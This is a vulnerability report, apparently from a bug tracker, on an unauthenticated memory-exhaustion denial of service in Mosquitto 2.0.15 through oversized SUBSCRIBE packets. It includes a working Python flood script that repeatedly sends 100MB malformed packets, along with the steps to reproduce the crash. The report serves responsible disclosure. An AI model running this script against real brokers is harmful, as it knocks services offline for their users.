Description Zhengjie Du 2022-12-12 03:05:04 EST

Created attachment 288879 [details]
attack script

Hello, I found unauthenticated clients still can cause excessive memory use although the fix for CVE-2017-7651 in Eclipse Mosquitto 2.0.15. To fix CVE-2017-7651, a limitation on the remaining length of CONNECT command has been applied to avoid unauthenticated clients causing excessive memory use. (https://github.com/eclipse/mosquitto/blob/a8448a9c7b14bdaee6ec80419d43fd6544e789b6/lib/packet_mosq.c#L456)

=============================
case CMD_CONNECT:
    if(mosq->in_packet.remaining_length > 100000){ /* Arbitrary limit, make configurable */
        return MOSQ_ERR_MALFORMED_PACKET;
    }
    break;
=============================

However, I found other commands (like SUBSCRIBE) may also cause the same situation (unauthenticated clients can cause excessive memory),which means other commands may also need limitation.

Environment:
    docker Ubuntu 20.04.3 LTS with 4GB RAM
    mosquitto version 2.0.15 (github commit a8448a9c7b14bdaee6ec80419d43fd6544e789b6 on Aug 16)

Attack simulation:
run server:
==============================
./src/mosquitto -c mosquitto.conf
==============================

In mosquitto.conf, disable anonymous
==============================
allow_anonymous false
==============================

run attack script:
==============================
python mosquitto_atk.py
==============================

the attack script (in python) may seems like
==============================
import socket
import threading
import time

ip_address = "0.0.0.0"
port = 1883

payload = b"\x80\x80\x80\x80t" + b"\01"*100000000 # mqtt SUBSCRIBE type message

def send_attack():
    soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    soc.connect((ip_address,port))

    soc.sendall(payload)

while(True):
    for i in range(50):
        t = threading.Thread(target=send_attack)
        t.setDaemon(True)
        t.start()
    time.sleep(1)
==============================

Result:
    the server's RAM memory ends and the O.S. kills the process for Out of Memory (OOM)